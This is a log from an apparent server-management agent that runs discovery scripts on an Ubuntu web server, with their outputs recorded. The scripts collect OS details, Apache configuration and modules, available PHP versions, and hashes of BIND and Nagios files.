MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:21:12: Establishing a connection
2026-01-03 18:21:13: Performing Server Status
2026-01-03 18:21:13:
PUT: /tmp/pkp628536
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 18:21:15:
chmod 755 /tmp/pkp628536; /tmp/pkp628536; rm /tmp/pkp628536
2026-01-03 18:21:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2026-01-03 18:21:15:
PUT: /tmp/pkp874974
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-03 18:21:15:
chmod 755 /tmp/pkp874974; /tmp/pkp874974; rm /tmp/pkp874974
2026-01-03 18:21:16:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 320261
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 320261 0.0 0.2 313516 43444 ? Ss 18:14 0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2026-01-03 18:21:16:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'stoughton',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2026-01-03 18:21:16:
PUT: /tmp/pkp523343
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 18:21:16:
chmod 755 /tmp/pkp523343; /tmp/pkp523343; rm /tmp/pkp523343
2026-01-03 18:21:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2026-01-03 18:21:16:
PUT: /tmp/pkp305123
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2026-01-03 18:21:17:
chmod 755 /tmp/pkp305123; /tmp/pkp305123; rm /tmp/pkp305123
2026-01-03 18:21:18:
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
2026-01-03 18:21:18:
PUT: /tmp/pkp852954
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:21:18:
chmod 755 /tmp/pkp852954; /tmp/pkp852954; rm /tmp/pkp852954
2026-01-03 18:21:18:
(gzipped output)
bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
